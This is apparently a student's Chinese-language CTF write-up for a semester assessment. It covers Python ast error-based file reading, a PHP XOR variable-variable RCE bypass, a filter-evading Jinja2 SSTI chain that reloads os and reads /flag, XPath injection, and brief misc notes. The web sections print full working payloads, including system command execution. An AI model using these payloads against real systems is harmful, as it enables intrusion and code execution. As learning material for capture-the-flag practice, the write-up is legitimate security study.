2025年秋季学期开学第一次考核
WEB
EzPyeditor
打开环境
这一题就是python的一个编辑器然后在线检查一下你的语法对不对
下载附件
这里就是两个路由
重点在第二个路由
check
发送的是一个json格式的
然后下面traceback.format_exec()是用来追踪报错
flag.sh
可以看见这里是修改了secret.py里面的flag值
secret.py这里面有flag
这里以后要重点注意一下
发送的东西用什么解析有没有漏洞可以用
还有报错怎么用
这个可能就是解题的关键
这里解题的关键就是ast这个模块
这里我们查看引用
就可以找到这个库里面的parse这个模块
可以看见他这里接受的参数有source,filename还有mode
这里可以直接搜一下这个parse这个模块的作用
这里尝试让他接受etc/passwd这个文件
更改一下
这里可以看见可以输出/etc/passwd的第一行
这里就来读flag在secret.py的第六行
这里要注意一个点
我们是需要在语法阶段报错如果是输入'这种这是在词法分析阶段
Python代码的执行分为几个阶段:
词法分析(Lexical Analysis)
语法分析(Syntax Analysis)
编译(Compilation)生成字节码
执行(Execution)
所以使用'就没有flag
学习高数
这里去访问一下index1.html
爆破一手看一下
这里算是一题脑洞
因为我们查看源代码的时候可以发现有一个page1
所以会联想到这里
访问一下
访问一下这个.php
这里需要用到异或绕过使用白名单里的字典来进行绕过
但是这里也是非常完美的不会写脚本
然后AI也跑不出来
但是这里在网上找到了大佬的脚本
这题被师兄误导了,也可能是我太菜了
没有理解这个用前面的当作字典来进行异或是什么意思
这里是去网上找到CISCN的题目的WP才会做的
这里其实是利用白名单里的函数来进行一个变量变量的构造最后进行全局变量注入
不是之前的对异或RCE的简单利用
就是异或出我们需要的目标字符然后进行RCE注入
这里先把脚本给出来
这是一个FUZZ的脚本
点击查看代码
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
他的作用是帮我们把每一个函数与数字进行异或
然后得出答案
但是我感觉还是找不出来
这里去看了一下wp里面的异或
他这个最后异或出来是一个_GET
去代码里面看一下
额
这个他怎么找到的我也不知道
我靠
所以这里.运算级别比^高
那现在就全部都通畅了
这里我们构造出了_GET然后我们再让他变成全局变量
也就是$_GET然后就可以通过GET传参
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls
所以i这里其实是$pi=_GET;$pi=$_GET;$pi[0]($pi[1])&0=system&1=ls
而$_GET又是一个超全局数组所以这里我们可以通过数组来进行赋值
从而最后构造出我们要的payload
但是这里中括号又被过滤了
所以使用大括号来代替在旧版本的php里面{}等价于[]
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls
传一下看看
可以用,找flag
web狗的地狱
访问一下这个路由
下载源码看一下
很明显的SSTI漏洞
name是通过get传参h3ll
简单测试一下
也是被过滤了绕过看一下
发现还是不行再看一下代码
这里要求是开头是Escape-才会进行之后的模板渲染的操作
所以这里加一个Escape-
这里可以看见那个过滤是有多离谱
这里config没有过滤
这个方法之前好像是打靶场的时候用过不过用的比较少
就是把config里面获取到的值剪切之后当作一个一个的字符使用
原来是直接使用list切开来用
但是这里被过滤了
所以这里用slice()来切割
然后根据我之前经常使用的{{lipsum.__globals__.os.popen('ls').read()}}
重新改造了一个
Escape-{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0alip=i.756~i.304~i.789~i.757~i.880~164%}{%set%0aglo=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0apayload=i.756~i.757%}{%set%0are=i.879~i.881~i.755~i.172%}{%print(lip)%}{%print(glo)%}{%print(so)%}{%print(po)%}{%print(re)%}{%print(lip|attr(glo)|attr(so)|attr(po)(payload)|attr(re)())%}{%%0aendfor%0a%}
提交之后发现
总感觉这个回显好像不太对
先走着看一下
这里最后的代码还有一处关键点
这里就是删除了一些命令执行的函数他把os模块给删除了
还有其它的一些
这里根据师兄的wp可以使用这串代码来恢复命令执行
点击查看代码
import os
import importlib
del os.system
importlib.reload(os)
os.system('whoami')
来解读一下这段代码
这里首先是导入了os模块还有importlib模块
之后删除os模块里面的system
接着再次加载库os这里也就是进行初始化再次加载之前被删掉又回来了
然后执行whoami的指令
这里在我的理解之下我感觉del os.system其实完全可以不需要
我们在得知已经被删掉了情况下可以直接进行加载
并且加载本身与模块里面的函数是否被删除没有关系
这里找了一下字符
发现没有b
这里使用到request.url但是这里url又被过滤了
所以这里绕过一手
Escape-{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%print(j)%}{%%0aendfor%0a%}{%%0aendfor%0a%}
这里再来解释一下request.url是什么
这个就是用来获取当前请求的url这个就是irequests库的一个方法
运行看下
之前欠缺的这里就可以加进去了
把这一段加入之前的代码里面
这下就可以找到之前没有的字符了
不行,最后还是放弃使用我之前的那个了
还是用师兄的了
我的太麻烦了
这里先来一个使用的最终=办的倒着推回去
request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen
这里前面request.application这里是用来替代config.class.__init__这一个链子的因为config这个是被黑名单过滤了
这两个链子是并列的关系
.被禁用用attr()
绕过,[]
被禁用用__getitem__
__getitem__是 Python 中的一个特殊方法(magic method),用于实现对象的索引访问功能。它允许对象使用方括号 []语法进行元素访问,就像操作列表或字典一样。
所以才会说[]可以用这个来替代底层的代码就是他
__builtins__是包含所有Python内置函数的模块
这里用AI写了一个大体的运行流程
所以这里大体就是理解了这个只是怎么构成的了现在只需要把对应的单词使用我们之前的字符来进行一一对应的替代
Escape-{%for i in config|string|slice(1)%}{%set uri=i.880~i.879~i.756%}{%for j in request|attr(uri)|string|slice(1)%}{%set ap=i.755~i.789~i.789~i.756~i.304~j.165~i.755~i.788~i.304~i.819~i.820%}{%set glob=i.867~i.867~i.6~i.756~i.819~j.29~i.755~i.756~i.757~i.867~i.867%}{%set get=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set bui=i.867~i.867~j.29~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set imp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set so=i.819~i.757%}{%set po=i.789~i.819~i.789~i.881~i.820%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(po)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po))%}{% endfor %}{% endfor %}
这个是没有用%0a替代空格的这个比较好看
但是其实可以更加好看一点
点击查看代码
{%for i in config|string|slice(1)%}
{%set uri = 'url'%}
{%for j in request|attr(uri)|string|slice(1)%}
{%set ap = 'application'%}
{%set glob = '__globals__'%}
{%set get = '__getitem__'%}
{%set bui = '__builtins__'%}
{%set imp = '__import__'%}
{%set so = 'os'%}
{%set po = 'popen'%}
{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po))%}
{% endfor %}
{% endfor %}
这里我之所以会放弃我原来的是因为lipsum也是被过滤掉了
但是这里想要绕过我需要使用到过滤器attr()但是过滤器的使用有要求
对象|attr()
这个才是正经的过滤器
所以之前的要么找到来替代lipsum同样地位的要么就直接换链子
这里问AI找到的是
但是这里细致一看
我靠全部被过滤了
那看来就着一条路了
这里再加一下空格绕过就是了
这里之后还要加一段
要把重新加载os模块着一个代码加进去
request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('importlib').reload(request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os'))
这里展示一下等价的代码
构造之后就是这样的
点击查看代码
{%for i in config|string|slice(1)%}
{%set uri = 'url'%}
{%for j in request|attr(uri)|string|slice(1)%}
{%set ap = 'application'%}
{%set glob = '__globals__'%}
{%set get = '__getitem__'%}
{%set bui = '__builtins__'%}
{%set imp = '__import__'%}
{%set so = 'os'%}
{%set iml = 'importlib'%}
{%set rel = 'reload'%}
{%set po = 'popen'%}
{%set cmd = 'ls /'%}
{%set red = 'read'%}
{%print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(so)))%}
{%print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po)(cmd)|attr(red)())%}
{% endfor %}
{% endfor %}
这里最后构造出来的就是
Escape-{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.165~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.29~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.29~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0aiml=i.304~i.164~i.789~i.819~i.879~i.788~i.756~i.304~j.29%}{%set%0arel=i.879~i.881~i.756~i.819~i.755~i.172%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0acmd=i.756~i.757~i.7~i.272%}{%set%0ared=i.879~i.881~i.755~i.172%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(iml)%}{%print(rel)%}{%print(po)%}{%print(cmd)%}{%print(red)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd)|attr(red)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}
之后再构造tac /flag就行了
Escape-{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.165~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.29~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.29~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0aiml=i.304~i.164~i.789~i.819~i.879~i.788~i.756~i.304~j.29%}{%set%0arel=i.879~i.881~i.756~i.819~i.755~i.172%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0acmd=i.788~i.755~j.165~i.7~i.272~i.4~i.756~i.755~i.6%}{%set%0ared=i.879~i.881~i.755~i.172%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(iml)%}{%print(rel)%}{%print(po)%}{%print(cmd)%}{%print(red)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd)|attr(red)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}
这题感觉好复杂啊要是再做一遍估计还是不太行
书店
打开环境
这里是找到注入点就是ID但是里面的数据库什么都没有
这里扫描一下网站
这里扫出来的东西挺多的,之前也扫过,但是因为环境的问题,一直扫不出来东西
这个一眼thinkphp的框架
版本是5.0
然后就审代码一开是使用seay看
有点夸张了这个数量思路不对
用D盾看一下
这个更是盐都不盐了
那就先分析一下应用目录
这是开发者编写业务代码的核心位置
file_get_contents很熟悉的函数了
进去看一下
用户查询系统
抓这个页面的包
在响应包这里的cookie的位置发现了hint
这句话时表示的意思是sql不是唯一的注入方式
输入'发现其报错了
基本可以判断是xpath
xpath和sql还是有点像的
这里先注入一波
结果发现or被过滤了
这里就尝试了一下一些数字
可以大致猜一下后面的xml文件的结构
点击查看代码
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user>
<id>2</id>
<name>Alan</name>
</user>
<user>
<id>3</id>
<name>Bob</name>
</user>
<user>
<id>4</id>
<name>Cary</name>
</user>
</users>
这里本来在自己尝试打的但是没有尝试出来
后面看师兄博客的时候发现了一个万能的payload
']|//*|//*['
这里其实可以根据猜到的后台的查询来看一下
原本查询xml的语句是
//user[id='INPUT_HERE']
因为在xpath里面是没有注释符号的
所以前面就是把把id的查询闭合掉提前结束id这个谓词
|就是用来连接之后的语句的
//就是用来匹配任意节点的
*是通配符号这个就可以匹配任意元素
然后后面那一半具体也不是很清楚
试图注释或无效化查询剩余部分 (|//*[),使其不影响联合查询的执行
说是在有些xpath解释器不完整的结构(缺少闭合的 ])可能会导致解析器忽略或“注释掉”查询中剩下的所有内容(即原始查询中 '之后的部分,如 and password='...')。这类似于 SQL 注入中的 --注释符
反正大体就是这样了
RE
安卓
下载附件用jad打开
提示layout文件夹里面去找main
Crypto
凯撒
直接一把梭
MISC
File
下载文件之后改后缀为exe
点开
大概这么一个情况
Ace是
这里其实可以当作一个压缩包来看
提取一下看看
这里的密码就是可以看作是压缩包的密码
直接爆破
但是不知道为什么flag交不了
流量
这里之前没有对哥斯拉的流量包进行过分析
这里就借这个题来进行一波学习
首先哥斯拉很明显的一个点
UA头里面会有这个Gecko
这个算是哥斯拉的一个特征
所以我们就很清晰的知道了这个是哥斯拉
这里随便找一个有shell.jsp的追踪一下都可以追踪到
哥斯拉有很多的加密器
可以下载了看一下
aes_b64其实暗示了哥斯拉的解密方式